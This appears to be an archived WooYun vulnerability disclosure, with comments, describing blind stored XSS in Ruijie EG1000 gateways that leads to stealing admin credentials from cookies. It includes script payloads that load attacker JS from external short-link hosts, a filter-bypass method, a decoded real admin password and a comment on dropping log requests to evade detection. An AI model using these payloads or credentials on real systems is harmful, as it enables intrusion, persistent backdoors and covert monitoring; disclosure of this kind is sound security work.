当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-059105

漏洞标题:锐捷某系列网关产品从XSS盲打到完全控制网关并留下后门

相关厂商:ruijie.com.cn

漏洞作者: 超威蓝猫

提交时间:2014-05-01 15:19

修复时间:2014-06-15 15:20

公开时间:2014-06-15 15:20

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-01: 细节已通知厂商并且等待厂商处理中
2014-05-02: 厂商已经确认,细节仅向厂商公开
2014-05-12: 细节向核心白帽子及相关领域专家公开
2014-05-22: 细节向普通白帽子公开
2014-06-01: 细节向实习白帽子公开
2014-06-15: 细节向公众公开

简要描述:

这是一份由一个人写了3个小时的报告。

详细说明:

测试对象:锐捷 EG-1000S with RGOS 10.3(4b10), Release(164555)
可能影响: EG1000C、EG1000S、EG1000M、EG1000CM、EG1000L等EG1000全系列产品

01.jpg

02.jpg


存在的问题:
•XSS可盲打管理后台;
•管理员帐号(admin)的密码存储在cookie中;
•管理页面可留下较隐蔽的XSS后门实现永久控制。
利用条件:
•在锐捷网关的内网中且网关开启了「内容审计」功能。

『问题1』XSS可盲打管理后台


•成因分析
锐捷网关可以对网关内的流量进行分析与记录,其中「内容审计」功能可以记录通过该网关的邮件数据(包括发收件人、时间、标题、正文、附件等)、QQ/MSN上下线号码与时间、搜索引擎关键字、telnet发送的命令(包括认证密码等)。但邮件内容审计中「查看邮件内容」功能对HTML输出过滤不严导致跨站脚本攻击。
•复现
我们处于网关的内网中,用QQ邮箱往任意邮箱发这么一封邮件:

03.jpg

在网关管理后台可以看到,这封邮件很快就被记录了

04.jpg

点击「详细」查看邮件内容,即可触发XSS

05.jpg

06.jpg

我们试试在邮件中插入script标签加载外部JS以窃取cookie:

07.jpg

08.jpg

看上去锐捷有意把script标签被过滤了。但是能执行JS代码的标签可不止这一个,如果我们换成其他标签呢?

09.jpg


10.jpg


XSS收信平台成功收到了cookie:

11.jpg


拼接出外网管理地址 http://218.**.**.**:7080 利用XSS获取到的管理员cookie即可登录。
『问题2』管理员帐号密码存储在cookie中
•成因分析
路由器、交换机等等设备一般处于内网之中,所以厂商对web管理页面的认证往往是极其简单的。
案例参考:
http://wooyun.org/bugs/wooyun-2010-036133
http://wooyun.org/bugs/wooyun-2010-02268
http://wooyun.org/bugs/wooyun-2010-018029
•复现
XSS获取到的cookie如下

auth=YWRtaW46d2w2NTcwOQ%3D%3D; user=admin; c_name=; hardtype=EG1000S; web-coding=gb2312; currentURL=1.3


其中,auth字段是base64加密后URI编码的用户名与密码。解码如下:
YWRtaW46d2w2NTcwOQ%3D%3D ===URL解码===> YWRtaW46d2w2NtcwOQ== ===BASE64解码===> admin:wl65709
使用该帐号密码即可登录http://218.**.**.**:7080 管理后台。后台可以建立L2TP VPN进行内网渗透。在测试中,我用wl65709这个密码登录了内网多台服务器的远程桌面。
『问题3』管理页面可留下较隐蔽的XSS后门实现永久控制
•成因分析
同问题2,大多数路由器、交换机等设备的web管理页面十分简陋,不对<>等敏感字符进行过滤的问题普遍存在。
•复现
在用户管理中添加如下组,组名分别为

<script>$.getScript(\x2f


qqq.si\x2fdsvlL2<


script>


组名不允许存在字符/与空格。所以使用\x2f替代字符/。
新建组时若提示存在敏感字符,先添加组名为aaa的组,重命名该组时使用Burp抓包并修改即可。
在「流量监控」中可以查看流量大的用户的IP,将其添加到script>组中。

12.jpg

这样,只要目标用户在「流量监控」中出现,即可触发XSS。

13.jpg


但这种方法会使「用户组织」这一常用功能出现异常内容(如上上张图),下面还有一种更为隐蔽的方法留下XSS后门。
我们在「对象定义」中添加自定义应用

14.jpg

15.jpg


如图配置。提交后抓包,将aaa修改为<script/src="//baid.us/1aq" bbb修改为></script>
这样,只要192.168.2.178在「流量监控」中出现,即可触发XSS。

16.jpg


该方法较为隐蔽,只留下这么一点点痕迹:

17.jpg


通过这个隐蔽的XSS后门窃取到cookie,cookie中包含管理员用户名与密码,从而实现永久控制。另外,如果网关没有开启外网管理功能(即通过 外网ip:端口 来访问锐捷网关web管理界面),也可以通过恶意js发送一个HTTP post请求来开启,具体实现这里不再赘述。

漏洞证明:

如上。

修复方案:

你们更专业:)
有礼物吗?

版权声明:转载请注明来源 超威蓝猫@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-05-02 00:36

厂商回复:

正在请相关人员处理

最新状态:

暂无


漏洞评价:

评论

  1. 2014-05-01 15:20 | ( 普通白帽子 | Rank:1207 漏洞数:104 | 传闻中魇是一个惊世奇男子,但是除了他华...)

    51还有人审?

  2. 2014-05-01 15:22 | 超威蓝猫 ( 核心白帽子 | Rank:1092 漏洞数:117 | STEAM_0:0:55968383)

    @魇 哈哈哈哈哈哈当然啊

  3. 2014-05-01 15:22 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    监控员工是有风险的。。。

  4. 2014-05-01 15:23 | 超威蓝猫 ( 核心白帽子 | Rank:1092 漏洞数:117 | STEAM_0:0:55968383)

    @疯狗 不知道锐捷的这种功能是否合法

  5. 2014-05-01 15:47 | 封印师 ( 路人 | Rank:4 漏洞数:3 | 我是小彩笔来的。...(。•ˇ‸ˇ•。) ...)

    看到锐捷就滚进来了

  6. 2014-05-01 18:55 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    洞主辛苦了。。

  7. 2014-05-01 19:41 | abaddon ( 实习白帽子 | Rank:37 漏洞数:10 | 我叫什么名字)

    @疯狗 作为他们的最终用户 我非常讨厌这个厂家 膜拜洞主我一直认为锐捷产品安全形同虚设 果然如此

  8. 2014-05-01 19:43 | abaddon ( 实习白帽子 | Rank:37 漏洞数:10 | 我叫什么名字)

    @超威蓝猫 我不知道你们说的具体内容提供 不过对网络信息的行为审计记录 貌似是公安部有个什么文件的 只要不去调阅 就应该合法

  9. 2014-05-01 19:54 | 超威蓝猫 ( 核心白帽子 | Rank:1092 漏洞数:117 | STEAM_0:0:55968383)

    @abaddon 不调阅还记录干啥- -

  10. 2014-05-01 19:56 | abaddon ( 实习白帽子 | Rank:37 漏洞数:10 | 我叫什么名字)

    @超威蓝猫 保存三个越给公安机关留着备差说话 蓝猫大神的这个洞可能危及我的设备

  11. 2014-05-01 20:02 | 超威蓝猫 ( 核心白帽子 | Rank:1092 漏洞数:117 | STEAM_0:0:55968383)

    @abaddon 神你一脸

  12. 2014-05-01 20:32 | abaddon ( 实习白帽子 | Rank:37 漏洞数:10 | 我叫什么名字)

    @超威蓝猫 大神是对前辈的尊称 你在我们平常人看来 简直无所不能。。。。。没有黑的成分 打住

  13. 2014-05-01 22:36 | 小火苗 ( 路人 | Rank:6 漏洞数:1 | 我是一只小火苗呀,春风吹又生呀...)

    围观 @超威蓝猫 是如何拿到⚡的。

  14. 2014-05-02 03:19 | mramydnei ( 普通白帽子 | Rank:348 漏洞数:80 )

    关注下

  15. 2014-05-02 13:19 | 西北狼 ( 路人 | Rank:4 漏洞数:5 | 来自大漠的苦逼程序员)

    牛逼,关注下

  16. 2014-05-03 08:36 | abaddon ( 实习白帽子 | Rank:37 漏洞数:10 | 我叫什么名字)

    @小火苗 这漏洞是锐捷的用户压力很大

  17. 2014-06-15 18:12 | abaddon ( 实习白帽子 | Rank:37 漏洞数:10 | 我叫什么名字)

    精彩 五分评价支持

  18. 2014-06-15 19:41 | syjzwjj ( 路人 | Rank:27 漏洞数:3 )

    惊现锐捷NPE出口设备!!

  19. 2014-06-16 09:00 | abaddon ( 实习白帽子 | Rank:37 漏洞数:10 | 我叫什么名字)

    @syjzwjj 是EG 我以晕倒 如果我是他们的网管 估计会吐血 上班了 在从头回溯下这漏洞应该刚刚锐捷的补丁就是针对蓝猫的 在校验中

  20. 2014-06-16 09:12 | abaddon ( 实习白帽子 | Rank:37 漏洞数:10 | 我叫什么名字)

    疑问@超威蓝猫 入侵者不会是网络管理者 你是如何登陆到EG设备上的疑问二你的任何操作会在EG上留下日志 作为入侵者如何擦除脚印 而不被网管者发现“•成因分析锐捷网关可以对网关内的流量进行分析与记录,其中「内容审计」功能可以记录通过该网关的邮件数据(包括发收件人、时间、标题、正文、附件等)、QQ/MSN上下线号码与时间、搜索引擎关键字、telnet发送的命令(包括认证密码等)。但邮件内容审计中「查看邮件内容」功能对HTML输出过滤不严导致跨站脚本攻击。”或许我没有理解所有的细节吧 此报告太精彩了 可以作为xss的启蒙读物。打印份慢慢揣摩。蓝猫果然 “超威” 尤其是这个后门 我三观还是在乌云网被毁了

  21. 2014-06-16 09:36 | 超威蓝猫 ( 核心白帽子 | Rank:1092 漏洞数:117 | STEAM_0:0:55968383)

    @abaddon 学校网管一码通,试了下锐捷后台就直接登录了,然后对锐捷网关进行了测试。通过XSS获取到的外网IP(图上的218.x.x.x打码部分)和web管理端口(图上的192.168.99.1:7080中的7080)拼接出 外网管理地址 218.x.x.x:7080 就可以登录了。如果没有开外网管理,可以用xss发一个post请求就可以开启了。

  22. 2014-06-16 09:38 | 超威蓝猫 ( 核心白帽子 | Rank:1092 漏洞数:117 | STEAM_0:0:55968383)

    @abaddon 锐捷web端每个操作都会有一个log的post,用burp拦截然后drop应该就可以了。(我没试过

  23. 2014-06-16 19:40 | abaddon ( 实习白帽子 | Rank:37 漏洞数:10 | 我叫什么名字)

    @超威蓝猫 感谢蓝猫的解释 这份漏洞报告让我第一次认识了 XSS 并通过 现实中的案例 让我更了解了反射型和存储型XSS 使我对信息安全的认识开启了一片新的天地与大门 去读真实报告币看多少书都管用

  24. 2014-11-16 18:36 | 萌萌哒-花粉 ( 路人 | Rank:4 漏洞数:5 | 多乌云 多美女 花粉 顾名思义 就是校花班花...)

    这个漏洞叼

  25. 2014-11-16 18:38 | 萌萌哒-花粉 ( 路人 | Rank:4 漏洞数:5 | 多乌云 多美女 花粉 顾名思义 就是校花班花...)

    @疯狗 这种漏洞不算通用马